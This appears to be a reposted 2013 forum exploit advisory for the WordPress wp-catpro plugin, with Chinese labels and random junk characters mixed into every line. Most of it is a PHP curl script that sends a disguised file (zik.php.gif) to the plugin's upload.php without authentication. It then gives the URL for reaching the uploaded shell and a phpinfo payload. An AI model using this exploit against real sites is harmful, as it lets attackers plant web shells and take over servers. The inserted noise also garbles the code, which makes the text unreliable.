Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability) [9 b- B0 b) n* R6 d6 _. u- R. ~- c1 R
#-----------------------------------------------------------------------1 A/ U+ Z3 r: `: B/ S
8 L; F/ Z j6 ?. |' h; z& a% R E
作者 => Zikou-16, Q, j. K9 S0 d2 A
邮箱 => zikou16x@gmail.com4 ?6 ?3 y7 P6 F3 p4 ~/ ]: L
测试系统 : Windows 7 , Backtrack 5r3
" O2 ^% M _/ V/ r/ [下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip3 c: i6 @7 j: F8 S4 L
####" t/ z1 K) w, F+ ?% Y
% D& N8 P2 ~0 j( G#=> Exploit 信息:$ V1 N+ P2 S& W0 p1 j
------------------) q9 |: k1 M$ s: M+ w8 s: m
# 攻击者可以上传 file/shell.php.gif
" N$ l! Z/ m" x2 O# k: P. N5 D# ("jpg", "gif", "png") // Allowed file extensions5 B6 b* k) G& y
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment): T k: Q; D R5 O
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)" v$ H; M+ s2 x$ b
------------------" F$ T7 a7 [6 Z z8 M- M9 @
& J* B5 p! k7 {1 \#=> Exploit0 U+ l/ c6 @7 F# f
-----------
5 q6 f3 J8 F) A( ?+ K ]<?php
) N3 u, g& y6 W. r, U. h. j" R 9 B- ~( q+ u, O" k/ ~
$uploadfile="zik.php.gif";
" _+ U9 S; R/ O1 a$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
4 K# [5 n7 f5 ?% qcurl_setopt($ch, CURLOPT_POST, true);1 O7 U# L. m1 x* e5 H7 ?
curl_setopt($ch, CURLOPT_POSTFIELDS,. N9 f; J4 P) c" F6 D2 Z
array('Filedata'=>"@$uploadfile",6 q" @3 N/ z4 X- z' g* Z' V# z
'folder'=>'/wp-content/uploads/catpro/'));
1 o9 S6 F! P) ~9 A7 rcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);# i- W5 ~& H1 g/ c6 ~* d8 T. s
$postResult = curl_exec($ch);. e1 I1 ]8 V( i* `. G+ `
curl_close($ch);
' p6 l- Y d% ]# M" z! e 7 ?! {, A& ^& O5 p
print "$postResult";
" M1 n) e; I' e* x 4 b3 Q. d4 C6 w* R0 \! Y5 \
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
5 O, m/ F9 _5 o; u# G7 k3 W ?>8 j+ ?: v' T7 O0 t+ m$ @4 ]
<?php
! \" T* @; n' v6 B& u5 d) Z. @phpinfo();5 A9 o! j# W4 ^5 x: ?1 h
?> |
发表于 2013-2-27 20:12:43
收藏
支持
反对